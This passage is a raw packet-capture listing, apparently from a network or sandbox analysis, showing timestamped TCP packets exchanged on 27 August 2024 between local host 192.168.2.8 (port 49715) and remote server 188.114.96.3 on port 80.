Aug 27, 2024 09:49:39.498759031 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.498761892 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.498769045 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.498776913 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.498790026 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.498807907 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.498831987 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.498876095 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.498986959 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.499000072 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.499011040 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.499021053 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.499031067 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.499034882 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.499041080 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.499049902 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.499061108 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.499070883 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.499072075 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.499083996 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.499094963 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.499104023 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.499104023 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.499114037 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.499121904 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.499124050 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.499146938 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.499186993 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.499376059 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.499385118 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.499399900 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.499408960 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.499418974 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.499429941 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.499439955 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.499444008 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.499450922 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.499461889 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.499463081 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.499471903 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.499483109 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.499490023 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.499492884 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.499502897 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.499509096 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.499512911 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.499524117 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.499527931 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.499532938 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.499543905 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.499552965 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.499564886 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.499576092 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.499583006 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.499586105 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.499597073 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.499607086 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.499613047 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.499706984 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.499867916 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.499883890 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.499901056 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.499912024 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.499912977 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.499922037 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.499932051 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.499939919 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.499942064 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.499953032 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.499963045 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.499975920 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.499979019 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.499985933 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.499990940 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.499995947 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.500009060 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.500015974 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.500019073 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.500031948 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.500056982 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.500080109 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.500113010 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.500123024 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.500133038 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.500143051 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.500153065 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.500161886 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.500164986 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.500206947 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.500298977 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.500308037 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.500318050 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.500328064 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.500338078 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.500349045 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.500360966 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.500360966 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.500400066 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.554893017 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.584655046 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.584669113 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.584682941 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.584703922 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.584714890 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.584721088 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.584727049 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.584738016 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.584755898 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.584790945 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.584801912 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.584819078 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.584830046 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.584830999 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.584840059 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.584850073 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.584852934 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.584863901 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.584907055 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.584990978 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.585009098 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.585020065 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.585031033 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.585042000 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.585045099 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.585053921 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.585067987 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.585110903 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.585135937 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.585146904 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.585158110 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.585169077 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.585180998 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.585191965 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.585205078 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.585216045 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.585293055 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.585304976 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.585319042 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.585330963 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.585341930 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.585433960 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.585445881 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.585455894 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.585469007 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.585479021 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.585484028 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.585489035 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.585500002 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.585510969 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.585521936 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.585532904 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.585545063 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.585597038 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.585611105 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.585645914 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.585716963 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.585728884 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.585738897 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.585752964 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.585764885 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.585774899 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.585777998 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.585791111 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.585798979 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.585818052 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.585870028 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.585880995 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.585891962 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.585902929 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.585910082 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.585922003 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.585933924 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.585936069 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.585944891 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.585957050 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.585958004 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.585968018 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.585979939 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.585985899 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.585989952 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.586000919 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.586008072 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.586014986 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.586025000 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.586025953 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.586038113 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.586076975 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.586255074 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.586267948 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.586281061 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.586297989 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.586309910 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.586323023 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.586335897 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.586349010 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.586361885 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.586373091 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.586393118 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.586405039 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.586416960 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.586429119 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.586441040 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.586452007 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.586464882 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.586473942 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.586486101 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.586498022 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.586507082 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.586519003 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.586530924 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.586543083 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.586560011 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.586719990 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.586730957 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.586842060 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.586853027 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.586863041 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.586874962 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.586888075 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.586899042 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.586910963 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.586920977 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.586932898 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.586996078 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.587007999 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.587018967 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.587037086 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.587063074 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.587073088 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.587085962 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.587097883 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.587110996 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.587122917 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.587135077 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.587304115 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.587316990 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.587328911 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.587340117 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.587354898 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.587366104 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.587382078 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.587390900 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.587433100 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.587474108 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.673845053 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.673870087 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.673882008 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.673979044 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.674000978 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.674011946 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.674022913 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.674034119 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.674046040 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.674053907 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.674057007 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.674076080 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.674093962 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.674138069 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.674149036 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.674160004 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.674171925 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.674181938 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.674182892 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.674195051 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.674196959 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.674207926 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.674220085 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.674221992 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.674232006 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.674247980 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.674269915 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.674490929 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.674509048 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.674519062 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.674529076 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.674540043 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.674550056 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.674551010 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.674562931 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.674565077 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.674571991 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.674583912 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.674585104 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.674603939 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.674614906 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.674626112 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.674631119 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.674637079 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.674647093 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.674650908 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.674660921 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.674669027 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.674671888 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.674683094 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.674689054 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.674695015 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.674706936 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.674706936 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.674716949 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.674729109 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.674730062 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.674740076 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.674751043 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.674767017 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.674791098 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.675477982 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.675489902 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.675498962 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.675509930 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.675518990 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.675520897 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.675532103 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.675546885 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.675550938 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.675556898 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.675568104 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.675571918 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.675579071 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.675589085 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.675590992 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.675602913 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.675606012 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.675615072 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.675625086 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.675631046 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.675642967 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.675653934 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.675656080 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.675664902 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.675682068 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.675689936 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.675693035 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.675704956 CEST	80	49715	188.114.96.3	192.168.2.8
